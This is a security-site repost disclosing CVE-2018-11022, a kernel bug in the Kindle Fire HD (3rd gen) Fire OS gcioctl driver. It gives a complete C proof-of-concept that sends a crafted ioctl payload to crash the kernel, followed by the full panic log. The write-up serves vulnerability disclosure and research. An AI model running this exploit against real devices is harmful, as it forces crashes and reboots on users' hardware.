(CVE-2018-11022)Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞

admin 2022年1月6日00:42:49安全博客评论15 views16118字阅读53分43秒阅读模式

一、漏洞简介

mazon Kindle Fire HD(3rd)Fire OS 4.5.5.3的内核组件中的内核模块/omap/drivers/misc/gcx/gcioctl/gcif.c允许攻击者通过设备/ dev上ioctl的参数注入特制参数/ gcioctl使用命令3224132973,并导致内核崩溃。

二、漏洞影响

Fire OS 4.5.5.3

三、复现过程

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
/*
* This is poc of Kindle Fire HD 3rd
* A bug in the ioctl interface of device file /dev/gcioctl causes the system crash via IOCTL 3224132973.
* Related buggy struct name is gcicommit.
* This Poc should run with permission to do ioctl on /dev/gcioctl.
*
* The fowllwing is kmsg of kernel crash infomation:
*
*
*/
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>

const static char *driver = "/dev/gcioctl";
static command = 3224132973;

int main(int argc, char **argv, char **env) {
unsigned int payload[] = {
0x00002020,
0x00000002,
0x00000002,
0xeddad33f,
0x41414141,
0x41414141,
0x41414141,
0x41414141,
0x41414141,
0x41414141,
0x41414141,
0x41414141,
0xf16c7d8e,
0x96489dd1,
0x678a12ff,
0x69812204,
0x41414141,
0x41414141,
0x41414141,
0x41414141
};

int fd = 0;
fd = open(driver, O_RDWR);
if (fd < 0) {
printf("Failed to open %s, with errno %d\n", driver, errno);
system("echo 1 > /data/local/tmp/log");
return -1;
}

printf("Try open %s with command 0x%x.\n", driver, command);
printf("System will crash and reboot.\n");
if(ioctl(fd, command, &payload) < 0) {
printf("Allocation of structs failed, %d\n", errno);
system("echo 2 > /data/local/tmp/log");
return -1;
}
close(fd);
return 0;
}

崩溃日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
[  381.205780] Unable to handle kernel NULL pointer dereference at virtual address 00000004
[ 381.215637] pgd = c30e4000
[ 381.219085] [00000004] *pgd=97437831, *pte=00000000, *ppte=00000000
[ 381.227355] Internal error: Oops: 817 [#1] PREEMPT SMP ARM
[ 381.233520] Modules linked in: omaplfb(O) pvrsrvkm(O) pvr_logger(O)
[ 381.241302] CPU: 0 Tainted: G O (3.4.83-gd2afc0bae69 #1)
[ 381.248596] PC is at free_buffer+0x4c/0x13c
[ 381.253479] LR is at down_timeout+0x40/0x5c
[ 381.258209] pc : [<c031716c>] lr : [<c006e9b8>] psr: a0000013
[ 381.258209] sp : de943e58 ip : de943e38 fp : de943e6c
[ 381.271179] r10: 00000000 r9 : dd3e8ca8 r8 : c25e6598
[ 381.277160] r7 : eddad327 r6 : de942000 r5 : c0a25b50 r4 : c25e6580
[ 381.284454] r3 : 00000000 r2 : c0a25b64 r1 : c0a25b64 r0 : 00000000
[ 381.291870] Flags: NzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user
[ 381.299804] Control: 10c5387d Table: 830e404a DAC: 00000015
[ 381.306335]
[ 381.306365] PC: 0xc03170ec:
[ 381.311340] 70ec e1a00001 e34c2091 e3a01a01 e30531e8 e34c306e ebfd3650 e89da800 e1a0c00d
[ 381.321868] 710c e92dd800 e24cb004 ebffced4 e3a00000 e89da800 e1a0c00d e92dd830 e24cb004
[ 381.332550] 712c e1a04000 e3020710 e59f510c ebf4dd18 e1a01000 e1a00005 ebf55e0b e3500000
[ 381.343078] 714c 1a000023 e5943000 e1540003 0a000008 e1a02005 e5940004 e5b21014 e5853014
[ 381.353759] 716c e5832004 e5801000 e5810004 e5844000 e5844004 e59f00c0 ebf55d9f e3020710
[ 381.364440] 718c e59f50b4 ebf4dd02 e1a01000 e285001c ebf55df5 e3500000 1a00001a e594201c
[ 381.375122] 71ac e1a03005 e594c018 e2841018 e285001c e58c2004 e582c000 e5b32030 e5851030
[ 381.385681] 71cc e5821004 e5842018 e584301c ebf55d8a e89da830 e1a03000 e3a02068 e59f105c
[ 381.396331]
[ 381.396362] LR: 0xc006e938:
[ 381.401306] e938 e1a01000 0a000007 e3a05000 e2433001 e5843008 e1a00004 eb18d7ad e1a00005
[ 381.411987] e958 e24bd014 e89da830 e1a00004 e50b1018 eb18d135 e51b1018 e1a05000 eafffff4
[ 381.422668] e978 e1a0c00d e92dd878 e24cb004 e1a04000 e1a05001 eb18d91b e5943008 e3530000
[ 381.433288] e998 e1a06000 0a000007 e3a05000 e2433001 e5843008 e1a00004 e1a01006 eb18d794
[ 381.443817] e9b8 e1a00005 e89da878 e1a01005 e1a00004 eb18d158 e1a05000 eafffff5 e1a0c00d
[ 381.454498] e9d8 e92dd800 e24cb004 e5903000 e1a0c000 e3530000 0a00000b e5910008 e5932008
[ 381.465179] e9f8 e1500002 da000003 ea000006 e5932008 e1520000 ba000003 e283c004 e5933004
[ 381.475830] ea18 e3530000 1afffff8 e5813004 f57ff05f e3a00000 e58c1000 e89da800 e1a0c00d
[ 381.486358]
[ 381.486358] SP: 0xde943dd8:
[ 381.491455] 3dd8 de942000 00000001 00000004 dd2160f4 60010013 c031716c a0000013 ffffffff
[ 381.501983] 3df8 de943e44 c25e6598 de943e6c de943e10 c06a5318 c0008370 00000000 c0a25b64
[ 381.512664] 3e18 c0a25b64 00000000 c25e6580 c0a25b50 de942000 eddad327 c25e6598 dd3e8ca8
[ 381.523315] 3e38 00000000 de943e6c de943e38 de943e58 c006e9b8 c031716c a0000013 ffffffff
[ 381.533996] 3e58 00000000 be8075c8 de943f04 de943e70 c0317704 c031712c 00000001 00000028
[ 381.544525] 3e78 be8075c8 de943ea0 de943e98 de943e90 c0207454 c00bd920 de943e90 de943e90
[ 381.555206] 3e98 de943e98 de943e98 00000000 00000002 00000002 eddad33f 41414141 41414141
[ 381.565734] 3eb8 41414141 41414141 41414141 41414141 41414141 d7b96700 de943efc de943ee0
[ 381.576293]
[ 381.576293] IP: 0xde943db8:
[ 381.581390] 3db8 de943dd4 de943dc8 c00795b4 c00792bc de943e0c de943dd8 c0070df8 c00795ac
[ 381.592071] 3dd8 de942000 00000001 00000004 dd2160f4 60010013 c031716c a0000013 ffffffff
[ 381.602630] 3df8 de943e44 c25e6598 de943e6c de943e10 c06a5318 c0008370 00000000 c0a25b64
[ 381.613311] 3e18 c0a25b64 00000000 c25e6580 c0a25b50 de942000 eddad327 c25e6598 dd3e8ca8
[ 381.623870] 3e38 00000000 de943e6c de943e38 de943e58 c006e9b8 c031716c a0000013 ffffffff
[ 381.634399] 3e58 00000000 be8075c8 de943f04 de943e70 c0317704 c031712c 00000001 00000028
[ 381.645080] 3e78 be8075c8 de943ea0 de943e98 de943e90 c0207454 c00bd920 de943e90 de943e90
[ 381.655761] 3e98 de943e98 de943e98 00000000 00000002 00000002 eddad33f 41414141 41414141
[ 381.666442]
[ 381.666442] FP: 0xde943dec:
[ 381.671417] 3dec c031716c a0000013 ffffffff de943e44 c25e6598 de943e6c de943e10 c06a5318
[ 381.681976] 3e0c c0008370 00000000 c0a25b64 c0a25b64 00000000 c25e6580 c0a25b50 de942000
[ 381.692535] 3e2c eddad327 c25e6598 dd3e8ca8 00000000 de943e6c de943e38 de943e58 c006e9b8
[ 381.703216] 3e4c c031716c a0000013 ffffffff 00000000 be8075c8 de943f04 de943e70 c0317704
[ 381.713867] 3e6c c031712c 00000001 00000028 be8075c8 de943ea0 de943e98 de943e90 c0207454
[ 381.724548] 3e8c c00bd920 de943e90 de943e90 de943e98 de943e98 00000000 00000002 00000002
[ 381.735076] 3eac eddad33f 41414141 41414141 41414141 41414141 41414141 41414141 41414141
[ 381.745758] 3ecc d7b96700 de943efc de943ee0 c02089fc 00000000 d74f9540 00000004 d74f9540
[ 381.756408]
[ 381.756408] R1: 0xc0a25ae4:
[ 381.761383] 5ae4 00000000 00000000 00040b03 01040101 ffff0100 00000000 00000000 0000ffff
[ 381.772064] 5b04 00000000 0e0c0000 01010005 01000105 0000ffff 00000000 0e0c0000 01010005
[ 381.782714] 5b24 00000105 01040901 00040001 ffff0101 00000000 00000000 00040b03 01040101
[ 381.793273] 5b44 3f3f0100 00010001 01000001 00000000 00000000 00000000 c0a25b5c c0a25b5c
[ 381.803955] 5b64 00000000 c0a25b64 00000000 00000000 00000001 c0a25b78 c0a25b78 c0a25b80
[ 381.814605] 5b84 c0a25b80 00000000 00000000 00000001 c0a25b94 c0a25b94 c0a25b9c c0a25b9c
[ 381.825286] 5ba4 00000000 00000000 00000001 c0a25bb0 c0a25bb0 c0a25bb8 c0a25bb8 c0a25bc0
[ 381.835815] 5bc4 c0a25bc0 c0a25bc8 c0a25bc8 00000000 00000000 00000000 00000000 00000000
[ 381.846496]
[ 381.846496] R2: 0xc0a25ae4:
[ 381.851470] 5ae4 00000000 00000000 00040b03 01040101 ffff0100 00000000 00000000 0000ffff
[ 381.862152] 5b04 00000000 0e0c0000 01010005 01000105 0000ffff 00000000 0e0c0000 01010005
[ 381.872802] 5b24 00000105 01040901 00040001 ffff0101 00000000 00000000 00040b03 01040101
[ 381.883453] 5b44 3f3f0100 00010001 01000001 00000000 00000000 00000000 c0a25b5c c0a25b5c
[ 381.893981] 5b64 00000000 c0a25b64 00000000 00000000 00000001 c0a25b78 c0a25b78 c0a25b80
[ 381.904663] 5b84 c0a25b80 00000000 00000000 00000001 c0a25b94 c0a25b94 c0a25b9c c0a25b9c
[ 381.915344] 5ba4 00000000 00000000 00000001 c0a25bb0 c0a25bb0 c0a25bb8 c0a25bb8 c0a25bc0
[ 381.925872] 5bc4 c0a25bc0 c0a25bc8 c0a25bc8 00000000 00000000 00000000 00000000 00000000
[ 381.936523]
[ 381.936523] R4: 0xc25e6500:
[ 381.941619] 6500 00000002 00000000 d7a55550 00000000 00000000 00000000 c2410c00 000008a8
[ 381.952148] 6520 c0a10a88 00000000 c16281fc 00000000 00000000 00000000 00000000 000003e8
[ 381.962829] 6540 c25e6000 00000093 00000000 00000000 00000000 00000000 00000000 00000000
[ 381.973480] 6560 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 381.984008] 6580 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 381.994689] 65a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 382.005340] 65c0 00000000 00000028 00000000 00000000 00000000 00000000 00000000 00000000
[ 382.016021] 65e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 382.026519]
[ 382.026519] R5: 0xc0a25ad0:
[ 382.031616] 5ad0 00010105 01010005 01040901 00040001 ffff0101 00000000 00000000 00040b03
[ 382.042175] 5af0 01040101 ffff0100 00000000 00000000 0000ffff 00000000 0e0c0000 01010005
[ 382.052856] 5b10 01000105 0000ffff 00000000 0e0c0000 01010005 00000105 01040901 00040001
[ 382.063507] 5b30 ffff0101 00000000 00000000 00040b03 01040101 3f3f0100 00010001 01000001
[ 382.074157] 5b50 00000000 00000000 00000000 c0a25b5c c0a25b5c 00000000 c0a25b64 00000000
[ 382.084716] 5b70 00000000 00000001 c0a25b78 c0a25b78 c0a25b80 c0a25b80 00000000 00000000
[ 382.095245] 5b90 00000001 c0a25b94 c0a25b94 c0a25b9c c0a25b9c 00000000 00000000 00000001
[ 382.105926] 5bb0 c0a25bb0 c0a25bb0 c0a25bb8 c0a25bb8 c0a25bc0 c0a25bc0 c0a25bc8 c0a25bc8
[ 382.116577]
[ 382.116577] R6: 0xde941f80:
[ 382.121551] 1f80 de917b80 c00635cc 00000013 de84190c de917b80 c00635cc 00000013 00000000
[ 382.132202] 1fa0 00000000 00000000 de941ff4 de941fb8 c0068af4 c00635d8 00000000 00000000
[ 382.142730] 1fc0 de917b80 00000000 00000000 00000000 de941fd0 de941fd0 00000000 de84190c
[ 382.153259] 1fe0 c0068a64 c004cd64 00000000 de941ff8 c004cd64 c0068a70 00000000 00000000
[ 382.163940] 2000 00000000 00000002 00000000 dd0bd7c0 c0a0e840 00000000 00000015 c2de6540
[ 382.174621] 2020 00000000 de942000 c09ddc50 dd0bd7c0 de83d300 c1617b40 de943ba4 de943af0
[ 382.185150] 2040 c06a36e4 00000000 00000000 00000000 00000000 00000000 01000000 00000000
[ 382.195800] 2060 01c454c0 5ebfe27f 00000000 00000000 00000000 00000000 00000000 00000000
[ 382.206451]
[ 382.206451] R7: 0xeddad2a7:
[ 382.211425] d2a4 ******** ******** ******** ******** ******** ******** ******** ********
[ 382.222106] d2c4 ******** ******** ******** ******** ******** ******** ******** ********
[ 382.232788] d2e4 ******** ******** ******** ******** ******** ******** ******** ********
[ 382.243316] d304 ******** ******** ******** ******** ******** ******** ******** ********
[ 382.253997] d324 ******** ******** ******** ******** ******** ******** ******** ********
[ 382.264678] d344 ******** ******** ******** ******** ******** ******** ******** ********
[ 382.275238] d364 ******** ******** ******** ******** ******** ******** ******** ********
[ 382.286071] d384 ******** ******** ******** ******** ******** ******** ******** ********
[ 382.296752] d3a4 ******** ******** ******** ******** ******** ******** ******** ********
[ 382.307434]
[ 382.307434] R8: 0xc25e6518:
[ 382.312408] 6518 c2410c00 000008a8 c0a10a88 00000000 c16281fc 00000000 00000000 00000000
[ 382.323059] 6538 00000000 000003e8 c25e6000 00000093 00000000 00000000 00000000 00000000
[ 382.333587] 6558 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 382.344268] 6578 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 382.354919] 6598 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 382.365600] 65b8 00000000 00000000 00000000 00000028 00000000 00000000 00000000 00000000
[ 382.376129] 65d8 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
[ 382.386779] 65f8 00000000 00000000 00000093 00000093 0000004d 00000002 00000000 00000000
[ 382.397308]
[ 382.397338] R9: 0xdd3e8c28:
[ 382.402282] 8c28 dd3e8c28 dd3e8c28 00000000 00000000 00000000 c06bc674 000200da c09dda58
[ 382.412933] 8c48 00000000 00000000 dd3e8c50 dd3e8c50 00000000 c0aa5174 c0aa5174 c0aa5148
[ 382.423614] 8c68 5aefce7f 00000000 00000000 00000000 dd3e8c80 00000000 00000000 00000000
[ 382.434112] 8c88 00200000 00000000 00000000 dd3e8c94 dd3e8c94 dd3d2380 dd3d2380 00000000
[ 382.444793] 8ca8 000521a4 000003e8 000003e8 00000000 00000000 00000000 c06b9600 dd154400
[ 382.455322] 8cc8 dd3e8d80 dd35ce70 00001064 00000001 0fb00000 5aefce7f 2cb41780 5aefce7f
[ 382.466003] 8ce8 2cb41780 5aefce7f 2cb41780 00000000 00000000 00000000 00000000 00000000
[ 382.476531] 8d08 00000000 00000000 00000000 00000000 00000001 00000000 00000000 dd3e8d24
[ 382.487182] Process gcioctl_poc_2 (pid: 4073, stack limit = 0xde9422f8)
[ 382.494689] Stack: (0xde943e58 to 0xde944000)
[ 382.499603] 3e40: 00000000 be8075c8
[ 382.508819] 3e60: de943f04 de943e70 c0317704 c031712c 00000001 00000028 be8075c8 de943ea0
[ 382.517913] 3e80: de943e98 de943e90 c0207454 c00bd920 de943e90 de943e90 de943e98 de943e98
[ 382.527130] 3ea0: 00000000 00000002 00000002 eddad33f 41414141 41414141 41414141 41414141
[ 382.536346] 3ec0: 41414141 41414141 41414141 d7b96700 de943efc de943ee0 c02089fc 00000000
[ 382.545562] 3ee0: d74f9540 00000004 d74f9540 be8075c8 dd3e8ca8 00000000 de943f74 de943f08
[ 382.554656] 3f00: c0136044 c0317448 00000000 00000000 00000000 00000001 00000000 dd045190
[ 382.563873] 3f20: dcf8c770 de943f0c de942000 be807638 be8075c8 c02c5d6d d74f9540 00000004
[ 382.573120] 3f40: de942000 00000000 de943f64 00000000 be8075c8 c02c5d6d d74f9540 00000004
[ 382.582183] 3f60: de942000 00000000 de943fa4 de943f78 c01365e0 c0135fc4 00000000 00000000
[ 382.591430] 3f80: 00000400 be807638 00010e64 00000000 00000036 c0013e08 00000000 de943fa8
[ 382.600646] 3fa0: c0013c60 c0136578 be807638 00010e64 00000004 c02c5d6d be8075c8 be8075c8
[ 382.609863] 3fc0: be807638 00010e64 00000000 00000036 00000000 00000000 00000000 be807624
[ 382.618927] 3fe0: 00000000 be8075ac 000106a0 0002918c 60000010 00000004 00000000 00000000
[ 382.628143] Backtrace:
[ 382.631164] [<c0317120>] (free_buffer+0x0/0x13c) from [<c0317704>] (dev_ioctl+0x2c8/0x10c4)
[ 382.640563] r5:be8075c8 r4:00000000
[ 382.644958] [<c031743c>] (dev_ioctl+0x0/0x10c4) from [<c0136044>] (do_vfs_ioctl+0x8c/0x5b4)
[ 382.654388] [<c0135fb8>] (do_vfs_ioctl+0x0/0x5b4) from [<c01365e0>] (sys_ioctl+0x74/0x84)
[ 382.663604] [<c013656c>] (sys_ioctl+0x0/0x84) from [<c0013c60>] (ret_fast_syscall+0x0/0x30)
[ 382.673004] r8:c0013e08 r7:00000036 r6:00000000 r5:00010e64 r4:be807638
[ 382.681304] Code: e1a02005 e5940004 e5b21014 e5853014 (e5832004)
[ 382.697326] Board Information:
[ 382.697357] Revision : 0001
[ 382.697357] Serial : 0000000000000000
[ 382.697387] SoC Information:
[ 382.697387] CPU : OMAP4470
[ 382.697418] Rev : ES1.0
[ 382.697418] Type : HS
[ 382.697418] Production ID: 0002B975-000000CC
[ 382.697448] Die ID : 1CC60000-50002FFF-0B00935D-11007004
[ 382.697448]
[ 382.733703] ---[ end trace 58e760c9cd2996a9 ]---
[ 382.739074] Kernel panic - not syncing: Fatal exception
[ 382.744964] CPU1: stopping
[ 382.748229] Backtrace:
[ 382.751251] [<c0018148>] (dump_backtrace+0x0/0x10c) from [<c0698bb8>] (dump_stack+0x18/0x1c)
[ 382.760742] r6:c09ddc50 r5:c09dc844 r4:00000001 r3:c0a0e950
[ 382.767761] [<c0698ba0>] (dump_stack+0x0/0x1c) from [<c0019bd8>] (handle_IPI+0x190/0x1c4)
[ 382.777008] [<c0019a48>] (handle_IPI+0x0/0x1c4) from [<c00084fc>] (gic_handle_irq+0x58/0x60)
[ 382.786499] [<c00084a4>] (gic_handle_irq+0x0/0x60) from [<c06a5380>] (__irq_svc+0x40/0x70)
[ 382.795684] Exception stack(0xde885e98 to 0xde885ee0)
[ 382.801483] 5e80: de885ee0 0000d120
[ 382.810577] 5ea0: 1ce88a9c 00000059 1cc00792 00000059 c161e498 00000000 c09ece64 de960480
[ 382.819793] 5ec0: c0ad01c8 de885f0c 0000017e de885ee0 c008e350 c0431ae0 600f0013 ffffffff
[ 382.829010] r6:ffffffff r5:600f0013 r4:c0431ae0 r3:c008e350
[ 382.836029] [<c0431a90>] (cpuidle_wrap_enter+0x0/0x9c) from [<c04310c0>] (cpuidle_enter_tk+0x18/0x1c)
[ 382.846374] r7:00000000 r6:c161e498 r5:c161e498 r4:de96048c
[ 382.853515] [<c04310a8>] (cpuidle_enter_tk+0x0/0x1c) from [<c04315dc>] (cpuidle_enter_state+0x1c/0x78)
[ 382.863983] [<c04315c0>] (cpuidle_enter_state+0x0/0x78) from [<c04334b8>] (cpuidle_enter_state_coupled+0x13c/0x36c)
[ 382.875518] r6:de884000 r5:c161e498 r4:de96048c r3:00000000
[ 382.882659] [<c043337c>] (cpuidle_enter_state_coupled+0x0/0x36c) from [<c043176c>] (cpuidle_idle_call+0x134/0x31c)
[ 382.894256] [<c0431638>] (cpuidle_idle_call+0x0/0x31c) from [<c0015294>] (cpu_idle+0xa4/0x10c)
[ 382.903961] [<c00151f0>] (cpu_idle+0x0/0x10c) from [<c0695650>] (secondary_start_kernel+0x118/0x13c)
[ 382.914093] [<c0695538>] (secondary_start_kernel+0x0/0x13c) from [<80694ff4>] (0x80694ff4)
[ 382.923400] r6:10c0387d r5:00000015 r4:9e84c06a r3:c0694fdc
[ 382.930603] CPU0 PC (0) : 0xc003ee38
[ 382.934661] CPU0 PC (1) : 0xc003ee54
[ 382.938720] CPU0 PC (2) : 0xc003ee54
[ 382.942901] CPU0 PC (3) : 0xc003ee54
[ 382.946960] CPU0 PC (4) : 0xc003ee54
[ 382.951019] CPU0 PC (5) : 0xc003ee54
[ 382.955200] CPU0 PC (6) : 0xc003ee54
[ 382.959259] CPU0 PC (7) : 0xc003ee54
[ 382.963317] CPU0 PC (8) : 0xc003ee54
[ 382.967376] CPU0 PC (9) : 0xc003ee54
[ 382.971557] CPU1 PC (0) : 0xc0019b2c
[ 382.975616] CPU1 PC (1) : 0xc0019b2c
[ 382.979675] CPU1 PC (2) : 0xc0019b2c
[ 382.983856] CPU1 PC (3) : 0xc0019b2c
[ 382.987915] CPU1 PC (4) : 0xc0019b2c
[ 382.991973] CPU1 PC (5) : 0xc0019b2c
[ 382.996154] CPU1 PC (6) : 0xc0019b2c
[ 383.000213] CPU1 PC (7) : 0xc0019b2c
[ 383.004272] CPU1 PC (8) : 0xc0019b2c
[ 383.008453] CPU1 PC (9) : 0xc0019b2c
[ 383.012512]
[ 383.014312] Restarting Linux version 3.4.83-gd2afc0bae69 ([email protected]) (gcc version 4.7 (GCC) ) #1 SMP PREEMPT Tue Sep 19 22:04:47 UTC 2017
[ 383.014312]

FROM :ol4three.com | Author:ol4three

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日00:42:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  (CVE-2018-11022)Amazon Kindle Fire HD (3rd) Fire OS kernel组件安全漏洞 http://cn-sec.com/archives/720862.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: